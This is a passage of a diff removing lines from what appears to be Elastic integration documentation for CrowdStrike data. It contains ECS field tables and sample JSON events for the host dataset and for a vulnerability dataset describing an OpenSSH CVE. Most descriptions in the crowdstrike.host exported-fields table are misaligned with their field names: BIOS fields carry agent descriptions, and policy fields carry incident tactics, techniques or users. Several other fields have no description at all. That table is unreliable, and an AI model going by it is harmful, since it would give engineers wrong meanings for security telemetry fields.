-| host.os.version | Operating system version as a raw string. | keyword |
-| input.type |  | keyword |
-| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword |
-| log.offset |  | long |
-| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword |
-| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword |
-| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA Protocol Number. | keyword |
-| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword |
-| observer.address |  | keyword |
-| observer.geo.city_name | City name. | keyword |
-| observer.geo.continent_name | Name of the continent. | keyword |
-| observer.geo.country_iso_code | Country ISO code. | keyword |
-| observer.geo.country_name | Country name. | keyword |
-| observer.geo.location | Longitude and latitude. | geo_point |
-| observer.geo.region_iso_code | Region ISO code. | keyword |
-| observer.geo.region_name | Region name. | keyword |
-| observer.ip | IP addresses of the observer. | ip |
-| observer.serial_number | Observer serial number. | keyword |
-| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword |
-| observer.vendor | Vendor name of the observer. | constant_keyword |
-| observer.version | Observer version. | keyword |
-| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword |
-| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword |
-| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long |
-| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard |
-| process.command_line.text | Multi-field of `process.command_line`. | match_only_text |
-| process.end | The time the process ended. | date |
-| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
-| process.executable | Absolute path to the process executable. | keyword |
-| process.executable.caseless | Multi-field of `process.executable`. | keyword |
-| process.executable.text | Multi-field of `process.executable`. | match_only_text |
-| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long |
-| process.group.id |  | keyword |
-| process.hash.md5 | MD5 hash. | keyword |
-| process.hash.sha256 | SHA256 hash. | keyword |
-| process.name | Process name. Sometimes called program name or similar. | keyword |
-| process.name.caseless | Multi-field of `process.name`. | keyword |
-| process.name.text | Multi-field of `process.name`. | match_only_text |
-| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword |
-| process.parent.name | Process name. Sometimes called program name or similar. | keyword |
-| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text |
-| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long |
-| process.pid | Process id. | long |
-| process.start | The time the process started. | date |
-| process.thread.id | Thread ID. | long |
-| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword |
-| process.title.text | Multi-field of `process.title`. | match_only_text |
-| process.uptime | Seconds the process has been up. | long |
-| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword |
-| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword |
-| related.ip | All of the IPs seen on your event. | ip |
-| related.user | All the user names or other user identifiers seen on the event. | keyword |
-| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
-| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword |
-| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
-| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
-| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
-| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket.  You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword |
-| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long |
-| source.as.organization.name | Organization name. | keyword |
-| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text |
-| source.geo.city_name | City name. | keyword |
-| source.geo.continent_name | Name of the continent. | keyword |
-| source.geo.country_iso_code | Country ISO code. | keyword |
-| source.geo.country_name | Country name. | keyword |
-| source.geo.location | Longitude and latitude. | geo_point |
-| source.geo.region_iso_code | Region ISO code. | keyword |
-| source.geo.region_name | Region name. | keyword |
-| source.ip | IP address of the source (IPv4 or IPv6). | ip |
-| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword |
-| source.port | Port of the source. | long |
-| tags | List of keywords used to tag each event. | keyword |
-| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword |
-| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword |
-| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard |
-| url.original.text | Multi-field of `url.original`. | match_only_text |
-| url.path | Path of the request, such as "/search". | wildcard |
-| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword |
-| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword |
-| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain.  In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword |
-| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword |
-| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword |
-| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword |
-| user.email | User email address. | keyword |
-| user.full_name | User's full name, if available. | keyword |
-| user.full_name.text | Multi-field of `user.full_name`. | match_only_text |
-| user.group.id | Unique identifier for the group on the system/platform. | keyword |
-| user.id | Unique identifier of the user. | keyword |
-| user.name | Short name or login of the user. | keyword |
-| user.name.text | Multi-field of `user.name`. | match_only_text |
-
-
-### Host
-
-This is the `host` dataset.
-
-#### Example
-
-An example event for `host` looks as following:
-
-```json
-{
-    "@timestamp": "2023-11-07T10:26:53.000Z",
-    "agent": {
-        "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70",
-        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
-        "name": "elastic-agent-18005",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "crowdstrike": {
-        "host": {
-            "agent": {
-                "load_flags": "0",
-                "local_time": "2023-11-07T04:51:16.678Z",
-                "version": "7.05.17603.0"
-            },
-            "bios": {
-                "manufacturer": "ABCInc.",
-                "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)"
-            },
-            "chassis_type": {
-                "desc": "Laptop",
-                "value": "9"
-            },
-            "cid": "92012896127c4948236ba7601b886b0",
-            "config_id": {
-                "base": "6594763",
-                "build": "1703",
-                "platform": "4"
-            },
-            "connection_ip": "81.2.69.192",
-            "cpu_signature": "460517",
-            "device_policies": {
-                "device_control": {
-                    "applied": true,
-                    "applied_date": "2023-06-20T08:45:26.341Z",
-                    "assigned_date": "2023-06-20T08:43:47.736Z",
-                    "policy_id": "2f88daf0177f467dae69262a5ce71775",
-                    "policy_type": "device-control"
-                },
-                "firewall": {
-                    "applied": true,
-                    "applied_date": "2023-09-11T10:33:44.174Z",
-                    "assigned_date": "2023-09-11T10:32:47.853Z",
-                    "policy": {
-                        "id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
-                        "type": "firewall"
-                    },
-                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
-                },
-                "global_config": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.515Z",
-                    "assigned_date": "2023-11-07T04:51:18.946Z",
-                    "policy": {
-                        "id": "7e3078b60976486cac5dc998808d9135",
-                        "type": "globalconfig"
-                    },
-                    "settings_hash": "f01def74"
-                },
-                "prevention": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643Z",
-                    "assigned_date": "2023-06-08T10:03:49.505Z",
-                    "policy": {
-                        "id": "1024fac1b279424fa7300b8ac2d56be5",
-                        "type": "prevention"
-                    },
-                    "settings_hash": "f7a54ca1"
-                },
-                "remote_response": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.017Z",
-                    "assigned_date": "2023-06-08T10:03:49.505Z",
-                    "policy": {
-                        "id": "dabb4def99034f11b9b3d52271584c9f",
-                        "type": "remote-response"
-                    },
-                    "settings_hash": "8a548e5e"
-                },
-                "sensor_update": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.659Z",
-                    "assigned_date": "2023-11-07T04:47:43.342Z",
-                    "policy": {
-                        "id": "64bfa2bbcd4e46da92a66b107933da11",
-                        "type": "sensor-update"
-                    },
-                    "settings_hash": "tagged|18;101",
-                    "uninstall_protection": "ENABLED"
-                }
-            },
-            "external_ip": "81.2.69.192",
-            "first_seen": "2023-06-08T10:00:19.000Z",
-            "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
-            "groups": [
-                "182388a8dbea4c44b5e019cfd32c2695"
-            ],
-            "hostname": "CLM101-131.local",
-            "id": "3114433dbce478ca48d9a828b9b34be",
-            "kernel_version": "22.6.0",
-            "last_seen": "2023-11-07T10:25:24.000Z",
-            "local_ip": "81.2.69.142",
-            "mac_address": "14-7D-DA-AD-AC-71",
-            "machine_domain": "SYS",
-            "major_version": "22",
-            "meta": {
-                "version": "6002",
-                "version_string": "7:43570272778"
-            },
-            "minor_version": "6",
-            "modified_timestamp": "2023-11-07T10:26:53.000Z",
-            "os": {
-                "build": "22G120",
-                "version": "Ventura(13)"
-            },
-            "platform": {
-                "id": "1",
-                "name": "Mac"
-            },
-            "policies": [
-                {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643Z",
-                    "assigned_date": "2023-06-08T10:03:49.505Z",
-                    "policy": {
-                        "id": "1024fac1b279424fa7300b8ac2d56be5",
-                        "type": "prevention"
-                    },
-                    "settings_hash": "f7a54ca1"
-                }
-            ],
-            "product_type_desc": "Workstation",
-            "provision_status": "Provisioned",
-            "reduced_functionality_mode": "no",
-            "serial_number": "FVFDH73HMNHX",
-            "site_name": "Default-First-Site-Name",
-            "status": "normal",
-            "system": {
-                "manufacturer": "ABCInc.",
-                "product_name": "Air,1"
-            },
-            "tags": [
-                "tags"
-            ]
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.host",
-        "namespace": "67537",
-        "type": "logs"
-    },
-    "device": {
-        "id": "3114433dbce478ca48d9a828b9b34be"
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
-        "snapshot": true,
-        "version": "8.18.0"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "host"
-        ],
-        "dataset": "crowdstrike.host",
-        "ingested": "2025-11-27T09:36:28Z",
-        "kind": "event",
-        "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}",
-        "type": [
-            "info"
-        ]
-    },
-    "host": {
-        "geo": {
-            "city_name": "London",
-            "continent_name": "Europe",
-            "country_iso_code": "GB",
-            "country_name": "United Kingdom",
-            "location": {
-                "lat": 51.5142,
-                "lon": -0.0931
-            },
-            "region_iso_code": "GB-ENG",
-            "region_name": "England"
-        },
-        "hostname": "CLM101-131.local",
-        "id": "3114433dbce478ca48d9a828b9b34be",
-        "ip": [
-            "81.2.69.192"
-        ],
-        "mac": [
-            "14-7D-DA-AD-AC-71"
-        ],
-        "os": {
-            "full": "Ventura(13)",
-            "platform": "Mac",
-            "type": "macos"
-        }
-    },
-    "input": {
-        "type": "cel"
-    },
-    "related": {
-        "hash": [
-            "f01def74",
-            "f7a54ca1",
-            "8a548e5e",
-            "tagged|18;101",
-            "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77"
-        ],
-        "hosts": [
-            "CLM101-131.local",
-            "SYS"
-        ],
-        "ip": [
-            "81.2.69.192",
-            "81.2.69.142"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "crowdstrike-host"
-    ]
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword |
-| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date |
-| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword |
-| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword |
-| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword |
-| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword |
-| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword |
-| crowdstrike.host.cid | The version of the BIOS on the host. | keyword |
-| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword |
-| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword |
-| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword |
-| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip |
-| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword |
-| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean |
-| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date |
-| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date |
-| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword |
-| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword |
-| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean |
-| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date |
-| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date |
-| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword |
-| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword |
-| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword |
-| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean |
-| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date |
-| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date |
-| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword |
-| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword |
-| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword |
-| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean |
-| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date |
-| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date |
-| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword |
-| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword |
-| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword |
-| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword |
-| crowdstrike.host.device_policies.remote_response.applied |  | boolean |
-| crowdstrike.host.device_policies.remote_response.applied_date |  | date |
-| crowdstrike.host.device_policies.remote_response.assigned_date |  | date |
-| crowdstrike.host.device_policies.remote_response.policy.id |  | keyword |
-| crowdstrike.host.device_policies.remote_response.policy.type |  | keyword |
-| crowdstrike.host.device_policies.remote_response.settings_hash |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.applied |  | boolean |
-| crowdstrike.host.device_policies.sensor_update.applied_date |  | date |
-| crowdstrike.host.device_policies.sensor_update.assigned_date |  | date |
-| crowdstrike.host.device_policies.sensor_update.policy.id |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.policy.type |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.settings_hash |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.uninstall_protection |  | keyword |
-| crowdstrike.host.external_ip | The external IP address of the host. | ip |
-| crowdstrike.host.first_seen |  | date |
-| crowdstrike.host.group_hash |  | keyword |
-| crowdstrike.host.groups |  | keyword |
-| crowdstrike.host.hostname | The hostname of the host. | keyword |
-| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword |
-| crowdstrike.host.kernel_version |  | keyword |
-| crowdstrike.host.last_seen |  | date |
-| crowdstrike.host.local_ip |  | ip |
-| crowdstrike.host.mac_address | The MAC address of the host. | keyword |
-| crowdstrike.host.machine_domain |  | keyword |
-| crowdstrike.host.major_version |  | keyword |
-| crowdstrike.host.meta.version |  | keyword |
-| crowdstrike.host.meta.version_string |  | keyword |
-| crowdstrike.host.minor_version |  | keyword |
-| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date |
-| crowdstrike.host.os.build |  | keyword |
-| crowdstrike.host.os.version | The version of the operating system on the host. | keyword |
-| crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword |
-| crowdstrike.host.platform.id |  | keyword |
-| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword |
-| crowdstrike.host.policies.applied |  | boolean |
-| crowdstrike.host.policies.applied_date |  | date |
-| crowdstrike.host.policies.assigned_date |  | date |
-| crowdstrike.host.policies.policy.id |  | keyword |
-| crowdstrike.host.policies.policy.type |  | keyword |
-| crowdstrike.host.policies.rule_groups |  | keyword |
-| crowdstrike.host.policies.settings_hash |  | keyword |
-| crowdstrike.host.product_type_desc |  | keyword |
-| crowdstrike.host.provision_status |  | keyword |
-| crowdstrike.host.reduced_functionality_mode |  | keyword |
-| crowdstrike.host.serial_number |  | keyword |
-| crowdstrike.host.site_name |  | keyword |
-| crowdstrike.host.status |  | keyword |
-| crowdstrike.host.system.manufacturer |  | keyword |
-| crowdstrike.host.system.product_name |  | keyword |
-| crowdstrike.host.tags |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| event.dataset | Event dataset. | constant_keyword |
-| event.module | Event module. | constant_keyword |
-| input.type | Type of filebeat input. | keyword |
-| log.offset | Log offset. | long |
-| tags | List of keywords used to tag each event. | keyword |
-
-
-### Vulnerability
-
-This is the `vulnerability` dataset.
-
-#### Example
-
-An example event for `vulnerability` looks as following:
-
-```json
-{
-    "@timestamp": "2025-02-25T13:33:23.000Z",
-    "agent": {
-        "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a",
-        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
-        "name": "elastic-agent-98024",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "crowdstrike": {
-        "vulnerability": {
-            "aid": "897580adb4ab4540a357536faa41de18",
-            "app": {
-                "product_name_normalized": "openssh",
-                "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
-                "vendor_normalized": "Ubuntu"
-            },
-            "apps": [
-                {
-                    "evaluation_logic": {
-                        "aid": "897580adb4ab4540a357536faa41de18",
-                        "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-                        "complex_check_operator": "AND",
-                        "created_timestamp": "2025-02-20T10:15:30.000Z",
-                        "id": "138bd6a67791327ab367838079b4d786",
-                        "logic": [
-                            {
-                                "comparison_check": "equals",
-                                "comparisons": {
-                                    "state_comparisons": [
-                                        {
-                                            "entity_comparisons": [
-                                                {
-                                                    "actual_value_field": "version",
-                                                    "operation": "equals",
-                                                    "value_datatype": "string"
-                                                }
-                                            ],
-                                            "entity_operator": "AND"
-                                        }
-                                    ],
-                                    "state_operator": "OR"
-                                },
-                                "determined_by_comparison": true,
-                                "existence_check": "Yes",
-                                "id": "logic-12345",
-                                "negate": false,
-                                "status": "active",
-                                "title": "Evaluation Logic for OpenSSH",
-                                "type": "comparison"
-                            }
-                        ],
-                        "updated_timestamp": "2025-02-25T13:33:23.000Z"
-                    },
-                    "patch_publication_date": "2025-02-19T00:00:00.000Z",
-                    "product_name_normalized": "openssh",
-                    "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
-                    "remediation": {
-                        "ids": [
-                            "4688299d204b35a192828bdaf556ecf8"
-                        ]
-                    },
-                    "remediation_info": {
-                        "minimum_id": "df1af7df1d33382398fb0dc268109a4d",
-                        "patch_publication_date": "2025-02-19T00:00:00.000Z",
-                        "recommended_id": "4688299d207b35a192828bdaf556ecf8"
-                    },
-                    "sub_status": "open",
-                    "vendor_normalized": "Ubuntu"
-                }
-            ],
-            "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-            "closed_timestamp": "2025-02-26T10:00:00.000Z",
-            "confidence": "confirmed",
-            "created_timestamp": "2025-02-20T10:10:24.000Z",
-            "cve": {
-                "base_score": 6.8,
-                "cisa_info": {
-                    "due_date": "2025-03-01T00:00:00.000Z",
-                    "is_cisa_kev": false
-                },
-                "cwes": [
-                    "CWE-123"
-                ],
-                "description": "A vulnerability was found in OpenSSH...",
-                "exploit_status": 30,
-                "exploitability_score": 1.6,
-                "exprt_rating": "MEDIUM",
-                "id": "CVE-2025-26465",
-                "impact_score": 5.2,
-                "published_date": "2025-02-18T19:15:00.000Z",
-                "references": [
-                    "https://ubuntu.com/security/CVE-2025-26465"
-                ],
-                "remediation_level": "O",
-                "severity": "MEDIUM",
-                "spotlight_published_date": "2025-02-19T05:32:00.000Z",
-                "types": [
-                    "Vulnerability"
-                ],
-                "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
-            },
-            "data_providers": [
-                {
-                    "ports": [
-                        22,
-                        80
-                    ],
-                    "provider": "Falcon sensor",
-                    "rating": "high",
-                    "scan_id": "scan-123456",
-                    "scan_time": "2025-02-20T12:00:00Z",
-                    "scanner_id": "scanner-xyz"
-                }
-            ],
-            "host_info": {
-                "asset_criticality": "Critical",
-                "groups": [
-                    {
-                        "id": "group-123",
-                        "name": "Production"
-                    }
-                ],
-                "has_run_container": false,
-                "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z",
-                "hostname": "ub24-50-10-154",
-                "internet_exposure": "No",
-                "local_ip": "1.128.0.0",
-                "machine_domain": "example.local",
-                "managed_by": "Falcon sensor",
-                "os_version": "Ubuntu 24.04",
-                "platform": "Linux",
-                "product_type_desc": "Server",
-                "service_provider": "AWS",
-                "service_provider_account_id": "123456789012",
-                "system_manufacturer": "Dell",
-                "tags": [
-                    "production",
-                    "security"
-                ]
-            },
-            "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
-            "remediation": {
-                "entities": [
-                    {
-                        "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer",
-                        "id": "4688299d207b35a192828bdaf556ecf8",
-                        "link": "https://ubuntu.com/security/CVE-2025-26465",
